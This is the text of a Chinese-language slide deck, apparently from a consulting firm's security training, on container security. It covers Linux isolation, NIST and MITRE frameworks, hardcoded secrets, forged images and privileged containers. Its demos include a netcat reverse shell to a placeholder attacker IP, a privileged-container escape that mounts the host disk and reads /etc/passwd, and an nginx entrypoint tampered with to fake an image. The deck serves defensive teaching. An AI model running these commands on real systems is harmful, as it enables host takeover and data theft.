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軟體開發型態改變
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軟體開發型態的改變

近20年來，軟體開發經歷了快速的演進，主要受到多種技術和方法論的影響。

軟體開發

人工智慧和機器學習
整合（AI&ML）

容器化
（Containerization）

基礎設施即程式碼
（IaC）

微服務架構
（Microservices）

開源軟體的興起

敏捷開發（Agile）

雲端運算
（Cloud Computing）

持續整合/持續部署
（CI/CD）
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DevOps的關鍵技術

容器和微服務是推動DevOps成功的關鍵技術，因為它們提供了加速開發、測試和部署流程的工具和
方法，從而增強了敏捷性、可擴展性和可靠性。

容器和微服務共同促進了DevOps的目標，包括提高自動化水準、縮短回饋循環、提升應用的品質和
交付速度。這些技術提供了實現快速、可靠、高效軟體交付所需的靈活性和工具，是現代DevOps實
踐不可或缺的一部分。

https://ithelp.ithome.com.tw/articles/10222902



勤業眾信版權所有 保留一切權利 7

微服務架構

部署效率 解耦和獨立部署 技術多樣性 擴展性和可靠性

UI

Data 
Access

Logic

DB DB
DB

DB

DB

UI

microservice
microservice microservice

microservice

Monolithic Architecture Microservices Architecture
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容器化技術

環境隔離與一致 資源效率與擴展 快速部署與回滾 微服務支持性

Docker build

Client Docker Host Docker Hub (Registry)

Docker build

Docker build

Docker Daemon

Container Images

Ubuntu

Nginx

MongoDB

Golang
Ubuntu

Nginx
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Virtual Machines vs Container

Virtual Machines Containers

Infrastructure

(Physical Server, Cloud Platform)

Operating System

(Linux,Windows)

Hypervisor

Guest OS Guest OSGuest OS

Bins/Libs

App1

Bins/Libs

App2

Bins/Libs

App3

Infrastructure

(Physical Server, Cloud Platform)

Operating System

(Linux,Windows)

Container Engine

Bins/Libs

App1

Bins/Libs

App2

Bins/Libs

App3
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容器安全的重要性

https://www.tripwire.com/state-of-security/organizations-container-security-incident
https://www.infosecurity-magazine.com/news/half-users-kubernetescontainer/
https://www.infosecurity-magazine.com/news/91-failure-runtime-scans/
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容器的本質
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Questions

大家是否曾經想過

為何容器無法看到主機的目錄跟檔案？

File System 是如何被隔離的？

為何在容器中無法看到主機上的 Process、Network Interface，這些資源是怎麼被隔離的？

我需要在容器裡面安裝防毒軟體跟 EDR 嗎？
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Key Technical

容器的本質：容器當中的關鍵技術

NamespaceRootfs Cgroups
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Key Technical

容器的本質：容器當中的關鍵技術

NamespaceRootfs Cgroups

隔離文件系統 隔離進程、網路等
資源的可見性

限制與分配
資源的使用
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Containerized Process

雖然稱為「容器」，但要從更好理解的角度來說，可以稱為「容器化的程序」

A container is still a Linux process running on the host machine, but it has a 

of that host machine, and it has access to only a subtree of the 

filesystem and perhaps to a limited set of resources restricted by cgroups.
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Containerized Process

雖然稱為「容器」，但要從更好理解的角度來說，可以稱為「容器化的程序」

A container is still a Linux process running on the host machine, but it has a 

of that host machine, and it has access to only a subtree of the 

filesystem and perhaps to a limited set of resources restricted by cgroups.

Namespace Rootfs

Cgroups
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容器內的root是root嗎

rootroot

Host OS

Container

Same?
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容器內的root是root嗎
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容器內的root是root嗎

容器內以 root 身分執行 sleep

在宿主機查看 sleep 的執行身分為 root
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容器內的root是root嗎
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容器內的root是root嗎

容器內以 uid 1000 身分執行 sleep

在宿主機查看 sleep 的執行身分為 uid 1000的使用者 kali
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常見安全防護技術

Linux capability Seccomp

特權能力細粒度控制 限制系統調用

SELinux 

強制存取控制機制

AppArmor

強制存取控制機制

許多容器技術在容器的運行時會採用常見安全技術保護安全性



勤業眾信版權所有 保留一切權利 23

容器的威脅與風險
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從技術階段分類

以docker為例：Registry -> Images -> Container
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Container Life Cycle

Develop RunDeploy

• 安全的基礎映像檔

• 最小化映像檔內容

• 映像檔漏洞掃描

• 機敏資料硬編碼檢測

• CI/CD管道安全性

• 最小權限原則

• 容器工具安全配置

• 網路策略安全

• 傳輸加密策略

• 秘密管理

• 安全監控和警報

• 日誌記錄

• 持續合規檢查

• 運行時安全防護

• 弱點掃描/管理
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NIST SP 800-190

1. Developer systems 

2. Testing and accreditation systems

3. Registries 

4. Orchestrators

5. Hosts
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NIST SP 800-190

Container Technology Life Cycle Security Considerations

Initiation Phase

Planning and Design Phase

Implementation Phase 

Operations and Maintenance Phase

Disposition Phase
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MITRE ATT&CK Containers Matrix

攻擊者的戰略 攻擊者的技術

盤點攻擊鏈可進行的阻斷處 :  
用企業有的優勢先行進行阻斷

Tactics Techniques
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開發維運中的安全小提醒
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致Dev與Ops的容器安全小提醒
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03

04
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Hardcoded 
Secrets

Insecure Container 
Images

Privileged 
Containers

Log Monitoring 
and Observability

Containers 
without Shell
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Hardcoded Secrets

FROM node:14 

ENV DB_PASSWORD="myS3cretP@ssw0rd" 

ENV AWS_ACCESS_KEY_ID=AKIAXXX4QYYZAAAAOKN 

ENV AWS_SECRET_ACCESS_KEY=6jbdlNNMjjXXXXXXXXHVNvjuSCSsmD 

RUN git config --global credential.helper '!aws codecommit credential-helper $@' 

WORKDIR /app 

COPY . . 

RUN npm install 

CMD ["node", "server.js"]



勤業眾信版權所有 保留一切權利 32勤業眾信版權所有 保留一切權利

Hardcoded Secrets

FROM node:14 

ENV DB_PASSWORD="myS3cretP@ssw0rd" 

ENV AWS_ACCESS_KEY_ID=AKIAXXX4QYYZAAAAOKN 

ENV AWS_SECRET_ACCESS_KEY=6jbdlNNMjjXXXXXXXXHVNvjuSCSsmD 

RUN git config --global credential.helper '!aws codecommit credential-helper $@' 

WORKDIR /app 

COPY . . 

RUN npm install 

CMD ["node", "server.js"]

credential.helper 

AWS存取金鑰

資料庫密碼
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Hardcoded Secrets - save to tar file

docker save -o ubuntu.tar ubuntu:20.04

tar -xvf ubuntu.tar
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Hardcoded Secrets - Image查看工具 dive

wget https://github.com/wagoodman/dive/releases/download/v0.8.1/dive_0.8.1_linux_amd64.deb

sudo apt install ./dive_0.8.1_linux_amd64.deb -y

docker images

dive ubuntu:20.04



勤業眾信版權所有 保留一切權利 35勤業眾信版權所有 保留一切權利

Hardcoded Secrets - 容器分層概念

https://docs.docker.com/storage/storagedriver/overlayfs-driver/

How the overlay2 driver works
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Hardcoded Secrets - 容器分層概念

A'' D''Upperdir

Lowerdir 1

Lowerdir 2

A'' B' C D''Merged

E''

E''

F'

F

A' B' D' F'

A B C E F

whiteout
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Hardcoded Secrets - Docker Image 查看分層

docker image inspect --format='{{json .GraphDriver}}' <IMAGE ID>
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Hardcoded Secrets - Docker commit

# 建立 Docker 映像

docker build -t nginx-add-file .

# 創建一個新的容器並運行 nginx-add-file 映像

docker run -d --name nginx-container nginx-add-file

# 進入容器內部

docker exec -it nginx-container bash

# 在容器內部刪除檔案

rm /usr/share/nginx/html/hackercat.txt

# 退出容器

exit

# 將容器內的更改提交為一個新的 Docker 映像

docker commit nginx-container nginx-remove-file

# Dockerfile

FROM nginx:latest

RUN echo "hello, i am hackercat" > /usr/share/nginx/html/hackercat.txt
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Hardcoded Secrets - Docker commit

dive nginx-remove-file
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Hardcoded Secrets - Docker commit

dive nginx-remove-file

哈哈我還在
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Insecure Container Images

不安全的映像檔

惡意映像檔 具有漏洞的映像檔 機敏資訊洩漏

 蓄意製作，目的是執行惡意行為

 惡意軟體、木馬程式、後門等惡意程式碼

 可能是偽造的映像檔，冒充合法的映像檔

 使用這類映像檔會將惡意程式帶入容器環境可
能導致資料洩漏、系統入侵、勒索加密等風險

 本身沒有惡意，但包含已知的軟體漏洞

 使用了存在漏洞的第三方函式庫或程式

 映像檔構建過程中的配置問題也可能導致漏洞

 攻擊者可利用這些漏洞對映像檔中的應用程式
實施攻擊

 可能導致容器被入侵控制、資料被竊取等安全
風險

 映像檔中無意中包含了密碼、金鑰等機敏
資訊

 這些機敏資訊可能來自程式碼、配置文件、
日誌等

 外洩的機敏資訊可能被用於進一步的攻擊
行為，或是造成直接的損害
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Insecure Container Images -惡意Images

https://www.ithome.com.tw/news/143546
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docker run --rm nginx

Insecure Container Images -惡意Images偽造
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docker run --rm nginx

Insecure Container Images -惡意Images偽造
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mkdir tmp

docker run --rm nginx cat /docker-entrypoint.sh > tmp/docker-entrypoint.sh

sed -i '3a echo "I am HackerCat"' tmp/docker-entrypoint.sh

docker build -t nginx:latest .

# Dockerfile

FROM nginx

COPY tmp/docker-entrypoint.sh /docker-entrypoint.sh

RUN chmod +x /docker-entrypoint.sh

ENTRYPOINT ["/docker-entrypoint.sh"]

CMD ["nginx", "-g", "daemon off;"]

Insecure Container Images -惡意Images偽造
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docker run --rm nginx

Insecure Container Images -惡意Images偽造
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docker run --rm nginx

惡意的Image

正常的Image

Insecure Container Images -惡意Images偽造
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docker run --rm nginx

有奇怪的東西
混進來了！

Insecure Container Images -惡意Images偽造
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Insecure Container Images -具有漏洞的Image

https://hub.docker.com/_/wordpress
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Insecure Container Images -漏洞掃描工具

grype httpd:alpine3.18
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Privileged Containers

執行 Docker-in-Docker在一些持續集成/持續交付(CI/CD)的場景中,

需要在一個容器內再啟動另一個容器(俗稱 Docker-in-Docker),這就需要為內層容器賦予特權能力。

docker run --privileged -v /var/run/docker.sock:/var/run/docker.sock docker:dind

Infrastructure

(Physical Server, Cloud Platform)

Operating System

(Linux,Windows)

Container Engine

Bins/Libs

App1

Bins/Libs

App2

Bins/Libs

App3

Normal Container Privileged Container
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What Privileged Flag Do

參考看看官網說了甚麼

最籠統的說法

詳細一點的解釋

另一個詳細說法的版本

The --privileged flag gives all capabilities to the container. When the operator executes docker run --privileged, Docker will enable 
access to all devices on the host as well as set some configuration in AppArmor or SELinux to allow the container nearly all the 
same access to the host as processes running outside containers on the host.

The --privileged flag gives all capabilities to the container, and it also lifts all the limitations enforced by the device cgroup 
controller. In other words, the container can then do almost everything that the host can do. This flag exists to allow special use-
cases, like running Docker within Docker.

--privileged: Give extended privileges to this container
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What Privileged Flag Do

參考看看官網說了甚麼

最籠統的說法

詳細一點的解釋

另一個詳細說法的版本

The --privileged flag gives all capabilities to the container. When the operator executes docker run --privileged, Docker will enable 
access to all devices on the host as well as set some configuration in AppArmor or SELinux to allow the container nearly all the 
same access to the host as processes running outside containers on the host.

The --privileged flag gives all capabilities to the container, and it also lifts all the limitations enforced by the device cgroup 
controller. In other words, the container can then do almost everything that the host can do. This flag exists to allow special use-
cases, like running Docker within Docker.

--privileged: Give extended privileges to this container
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Tips - 以黑箱方式測試容器跳脫

docker run --privileged -it --rm ubuntu bash

# 跳脫

mkdir test

mount /dev/sda1 test

cat test/etc/passwd | grep kali
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What Privileged Flag Do

docker run --rm --cap-add=sys_admin --cap-add mknod --device=/dev/fuse \

--security-opt seccomp=/usr/share/containers/seccomp.json \

--security-opt label=disable --security-opt apparmor=unconfined \

quay.io/podman/stable podman run ubi8-minimal echo hello

那是否能夠不使用 --privileged flag 呢

--cap-add=sys_admin：新增 sys_admin 能力

--cap-add mknod：新增mknod 能力，允許容器建立裝置文件

--device=/dev/fuse：將主機的 /dev/fuse 裝置掛載到容器內部，使容器可以訪問該裝置

--security-opt seccomp=/usr/share/containers/seccomp.json：指定 seccomp 設定文件

--security-opt label=disable：停用 SELinux

--security-opt apparmor=unconfined：將 AppArmor 設定為不受限制
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What Privileged Flag Do
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Log Monitoring and Observability

出事情之後debug的方式？

{

"log-driver": "json-file",

"log-opts": {

"max-size": "10m",

"max-file": "3",

"labels": "production_status",

"env": "os,customer"

}

}

儲存期限

日誌輪替

日誌類型

日誌容量
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Log Monitoring and Observability

Metrics

LoggingTracing
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Containers without Shell

# attacker 

nc -lvnp 6666

# victim

docker run --privileged --net=host --pid=host --ipc=host --volume /:/host raesene/ncat <attacker-IP> 6666 -e /bin/sh

Victim

Attacker
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Containers without Shell - Distroless Image 

https://github.com/GoogleContainerTools/distroless
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結論
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總結

Hardcoded Secrets

避免在容器映像檔或程式碼中硬編碼任何敏感資訊，例如密碼、API 金
鑰等，請使用安全的密碼管理系統

Containers without Shell

在生產環境中，建議使用最小化的容器映像檔，移除不必要的命令列
工具，例如 shell

Log Monitoring and Observability

設置適當的日誌輸出以及監控機制，以掌握容器的運行狀態並及時發
現潛在的安全問題

Insecure Container Images

僅使用來自可信賴來源的容器映像檔，並確保定期更新以修補已知漏洞

Privileged Containers

除非絕對必要，否則請勿以 Privileged flag 執行容器，並盡可能不要使
用 root 權限執行
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